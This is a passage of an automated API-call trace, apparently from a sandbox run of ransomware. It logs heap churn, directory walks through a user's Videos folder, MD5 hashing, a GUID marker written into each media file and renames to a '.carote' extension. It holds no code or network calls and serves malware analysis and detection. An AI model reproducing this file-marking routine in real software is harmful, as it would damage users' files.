dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.673] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a3f2c0 | out: hHeap=0x5010000) returned 1 [0114.673] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x90) returned 0x7a3f2c0 [0114.673] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0114.673] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.673] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a3f2c0 | out: hHeap=0x5010000) returned 1 [0114.673] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x90) returned 0x7a3f2c0 [0114.674] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ad3918 [0114.674] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ad3918 | out: hHeap=0x5010000) returned 1 [0114.674] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a3f2c0 | out: hHeap=0x5010000) returned 1 [0114.674] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x90) returned 0x7a3f2c0 [0114.674] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0114.674] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.674] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a3f2c0 | out: hHeap=0x5010000) returned 1 [0114.674] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x90) returned 0x7a3f2c0 [0114.674] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0114.674] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc46) returned 0x7b13900 [0114.674] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.674] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0114.674] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a3f2c0 | out: hHeap=0x5010000) returned 1 [0114.674] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x90) returned 0x7a3f2c0 [0114.674] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0114.674] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.674] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a3f2c0 | out: hHeap=0x5010000) returned 1 [0114.674] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x90) returned 0x7a3f2c0 [0114.674] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0114.674] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc2e) returned 0x7b13900 [0114.674] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.674] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0114.674] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a3f2c0 | out: hHeap=0x5010000) returned 1 [0114.674] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x90) returned 0x7a3f2c0 [0114.674] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0114.674] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0114.674] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a3f2c0 | out: hHeap=0x5010000) returned 1 [0114.674] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x90) returned 0x7a3f2c0 [0114.674] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0114.674] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0114.674] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a3f2c0 | out: hHeap=0x5010000) returned 1 [0114.674] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x90) returned 0x7a3f2c0 [0114.675] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0114.675] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.675] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a3f2c0 | out: hHeap=0x5010000) returned 1 [0114.675] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x90) returned 0x7a3f2c0 [0114.675] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0114.675] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.675] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a3f2c0 | out: hHeap=0x5010000) returned 1 [0114.675] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x90) returned 0x7a3f2c0 [0114.675] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0114.675] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc46) returned 0x7b13900 [0114.675] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.675] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0114.675] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a3f2c0 | out: hHeap=0x5010000) returned 1 [0114.675] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x90) returned 0x7a3f2c0 [0114.675] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0114.675] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.675] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a3f2c0 | out: hHeap=0x5010000) returned 1 [0114.675] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x90) returned 0x7a3f2c0 [0114.675] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0114.675] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.675] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a3f2c0 | out: hHeap=0x5010000) returned 1 [0114.675] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x90) returned 0x7a3f2c0 [0114.675] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0114.675] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.675] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a3f2c0 | out: hHeap=0x5010000) returned 1 [0114.675] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x90) returned 0x7a3f2c0 [0114.675] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0114.675] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.675] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a3f2c0 | out: hHeap=0x5010000) returned 1 [0114.675] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x90) returned 0x7a3f2c0 [0114.675] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0114.676] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.676] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a3f2c0 | out: hHeap=0x5010000) returned 1 [0114.676] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x90) returned 0x7a3f2c0 [0114.676] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0114.676] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.676] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a3f2c0 | out: hHeap=0x5010000) returned 1 [0114.676] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x90) returned 0x7a3f2c0 [0114.676] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0114.676] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.676] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a3f2c0 | out: hHeap=0x5010000) returned 1 [0114.676] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x90) returned 0x7a3f2c0 [0114.676] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0114.676] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.676] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a3f2c0 | out: hHeap=0x5010000) returned 1 [0114.676] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x90) returned 0x7a3f2c0 [0114.676] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0114.676] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.676] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a3f2c0 | out: hHeap=0x5010000) returned 1 [0114.676] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x90) returned 0x7a3f2c0 [0114.676] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ad3918 [0114.676] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc46) returned 0x7b13900 [0114.676] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ad3918 | out: hHeap=0x5010000) returned 1 [0114.676] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0114.676] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a3f2c0 | out: hHeap=0x5010000) returned 1 [0114.676] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x90) returned 0x7a3f2c0 [0114.676] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0114.676] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.676] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a3f2c0 | out: hHeap=0x5010000) returned 1 [0114.676] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x90) returned 0x7a3f2c0 [0114.676] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0114.676] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0114.676] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a3f2c0 | out: hHeap=0x5010000) returned 1 [0114.676] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x90) returned 0x7a3f2c0 [0114.677] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0114.677] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\Deployment\\tmp\\") returned="tmp\\" [0114.677] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x90) returned 0x7a3f190 [0114.677] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\Deployment\\") returned="Deployment\\" [0114.677] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\") returned="Java\\" [0114.677] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\") returned="Sun\\" [0114.677] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0114.677] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0114.677] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0114.677] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0114.677] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0114.677] PathFindFileNameW (pszPath="") returned="" [0114.677] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\Deployment\\tmp\\*", lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa1dc2570, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xa1dc2570, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0xa1dc2570, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7a427a0 [0114.677] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa1dc2570, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xa1dc2570, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0xa1dc2570, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0114.677] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa1dc2570, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xfaeead90, ftLastAccessTime.dwHighDateTime=0x1d35d05, ftLastWriteTime.dwLowDateTime=0xfaeead90, ftLastWriteTime.dwHighDateTime=0x1d35d05, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="si", cAlternateFileName="")) returned 1 [0114.678] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa1dc2570, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xfaeead90, ftLastAccessTime.dwHighDateTime=0x1d35d05, ftLastWriteTime.dwLowDateTime=0xfaeead90, ftLastWriteTime.dwHighDateTime=0x1d35d05, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="si", cAlternateFileName="")) returned 0 [0114.678] FindClose (in: hFindFile=0x7a427a0 | out: hFindFile=0x7a427a0) returned 1 [0114.678] PeekMessageW (in: lpMsg=0x825ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x825ff08) returned 0 [0114.678] PeekMessageW (in: lpMsg=0x825fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x825fb74) returned 0 [0114.678] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\UYaZ4DG0b_NROc5iB6tm\\DflAw\\Z9S-Lyrz1J9mVBffWgx3\\GP_hmZxeLiKuo3\\DrYYTX _BQbZrK6Uad\\") returned="DrYYTX _BQbZrK6Uad\\" [0114.678] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\UYaZ4DG0b_NROc5iB6tm\\DflAw\\Z9S-Lyrz1J9mVBffWgx3\\GP_hmZxeLiKuo3\\") returned="GP_hmZxeLiKuo3\\" [0114.678] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\UYaZ4DG0b_NROc5iB6tm\\DflAw\\Z9S-Lyrz1J9mVBffWgx3\\") returned="Z9S-Lyrz1J9mVBffWgx3\\" [0114.678] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\UYaZ4DG0b_NROc5iB6tm\\DflAw\\") returned="DflAw\\" [0114.678] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\UYaZ4DG0b_NROc5iB6tm\\") returned="UYaZ4DG0b_NROc5iB6tm\\" [0114.678] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\") returned="Videos\\" [0114.678] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0114.678] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0114.678] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0114.678] PathFindFileNameW (pszPath="") returned="" [0114.678] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\UYaZ4DG0b_NROc5iB6tm\\DflAw\\Z9S-Lyrz1J9mVBffWgx3\\GP_hmZxeLiKuo3\\DrYYTX _BQbZrK6Uad\\*", lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x273cc60, ftCreationTime.dwHighDateTime=0x1d4cfe9, ftLastAccessTime.dwLowDateTime=0xe104e070, ftLastAccessTime.dwHighDateTime=0x1d4d437, ftLastWriteTime.dwLowDateTime=0xe104e070, ftLastWriteTime.dwHighDateTime=0x1d4d437, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7a427a0 [0114.679] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x273cc60, ftCreationTime.dwHighDateTime=0x1d4cfe9, ftLastAccessTime.dwLowDateTime=0xe104e070, ftLastAccessTime.dwHighDateTime=0x1d4d437, ftLastWriteTime.dwLowDateTime=0xe104e070, ftLastWriteTime.dwHighDateTime=0x1d4d437, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0114.679] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf5270ce0, ftCreationTime.dwHighDateTime=0x1d4cfbe, ftLastAccessTime.dwLowDateTime=0x3d7722c0, ftLastAccessTime.dwHighDateTime=0x1d4d396, ftLastWriteTime.dwLowDateTime=0x3d7722c0, ftLastWriteTime.dwHighDateTime=0x1d4d396, nFileSizeHigh=0x0, nFileSizeLow=0x849, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="C2i_UEX3Ob.avi", cAlternateFileName="C2I_UE~1.AVI")) returned 1 [0114.679] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\UYaZ4DG0b_NROc5iB6tm\\DflAw\\Z9S-Lyrz1J9mVBffWgx3\\GP_hmZxeLiKuo3\\DrYYTX _BQbZrK6Uad\\C2i_UEX3Ob.avi") returned=".avi" [0114.679] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\UYaZ4DG0b_NROc5iB6tm\\DflAw\\Z9S-Lyrz1J9mVBffWgx3\\GP_hmZxeLiKuo3\\DrYYTX _BQbZrK6Uad\\C2i_UEX3Ob.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\uyaz4dg0b_nroc5ib6tm\\dflaw\\z9s-lyrz1j9mvbffwgx3\\gp_hmzxelikuo3\\dryytx _bqbzrk6uad\\c2i_uex3ob.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0114.679] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x825fb4c | out: lpFileSize=0x825fb4c*=2121) returned 1 [0114.679] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x83a0000 [0114.681] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x823, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0114.681] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x825fb7c, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb7c*=0x26, lpOverlapped=0x0) returned 1 [0114.682] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x825fb78, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb78*=0x849, lpOverlapped=0x0) returned 1 [0114.682] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0114.682] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0114.683] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0114.683] CryptAcquireContextW (in: phProv=0x825fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x825fa94*=0x50ec028) returned 1 [0114.683] CryptCreateHash (in: hProv=0x50ec028, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x825fa9c | out: phHash=0x825fa9c) returned 1 [0114.683] CryptHashData (hHash=0x7a427e0, pbData=0x7a43f90, dwDataLen=0x25, dwFlags=0x0) returned 1 [0114.683] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x825fa98) returned 1 [0114.683] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x7a13260, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x7a13260, pdwDataLen=0x825fa98) returned 1 [0114.683] GetLastError () returned 0x0 [0114.683] CryptDestroyHash (hHash=0x7a427e0) returned 1 [0114.683] CryptReleaseContext (hProv=0x50ec028, dwFlags=0x0) returned 1 [0114.684] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x849, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0114.684] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0114.684] WriteFile (in: hFile=0x61c, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x825fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x825fb2c*=0x26, lpOverlapped=0x0) returned 1 [0114.684] CloseHandle (hObject=0x61c) returned 1 [0114.685] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\UYaZ4DG0b_NROc5iB6tm\\DflAw\\Z9S-Lyrz1J9mVBffWgx3\\GP_hmZxeLiKuo3\\DrYYTX _BQbZrK6Uad\\C2i_UEX3Ob.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\uyaz4dg0b_nroc5ib6tm\\dflaw\\z9s-lyrz1j9mvbffwgx3\\gp_hmzxelikuo3\\dryytx _bqbzrk6uad\\c2i_uex3ob.avi"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\UYaZ4DG0b_NROc5iB6tm\\DflAw\\Z9S-Lyrz1J9mVBffWgx3\\GP_hmZxeLiKuo3\\DrYYTX _BQbZrK6Uad\\C2i_UEX3Ob.avi.carote" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\uyaz4dg0b_nroc5ib6tm\\dflaw\\z9s-lyrz1j9mvbffwgx3\\gp_hmzxelikuo3\\dryytx _bqbzrk6uad\\c2i_uex3ob.avi.carote")) returned 1 [0114.685] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b14908 | out: hHeap=0x5010000) returned 1 [0114.685] VirtualFree (lpAddress=0x83a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0114.686] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a25f78 | out: hHeap=0x5010000) returned 1 [0114.686] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c3b8420, ftCreationTime.dwHighDateTime=0x1d4c9f5, ftLastAccessTime.dwLowDateTime=0x61e64280, ftLastAccessTime.dwHighDateTime=0x1d4c9b9, ftLastWriteTime.dwLowDateTime=0x61e64280, ftLastWriteTime.dwHighDateTime=0x1d4c9b9, nFileSizeHigh=0x0, nFileSizeLow=0x12f3a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="WAmHWSt4u.mp4", cAlternateFileName="WAMHWS~1.MP4")) returned 1 [0114.686] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xf0) returned 0x79f8730 [0114.686] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x166) returned 0x7a25f78 [0114.686] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x79f8730 | out: hHeap=0x5010000) returned 1 [0114.686] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\UYaZ4DG0b_NROc5iB6tm\\DflAw\\Z9S-Lyrz1J9mVBffWgx3\\GP_hmZxeLiKuo3\\DrYYTX _BQbZrK6Uad\\WAmHWSt4u.mp4") returned=".mp4" [0114.686] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\UYaZ4DG0b_NROc5iB6tm\\DflAw\\Z9S-Lyrz1J9mVBffWgx3\\GP_hmZxeLiKuo3\\DrYYTX _BQbZrK6Uad\\WAmHWSt4u.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\uyaz4dg0b_nroc5ib6tm\\dflaw\\z9s-lyrz1j9mvbffwgx3\\gp_hmzxelikuo3\\dryytx _bqbzrk6uad\\wamhwst4u.mp4"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0114.687] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x825fb4c | out: lpFileSize=0x825fb4c*=77626) returned 1 [0114.687] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x83a0000 [0114.688] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x12f14, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0114.688] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x825fb7c, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb7c*=0x26, lpOverlapped=0x0) returned 1 [0114.690] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x30) returned 0x7a05e80 [0114.690] HeapFree (in: hHeap=0x5010000, 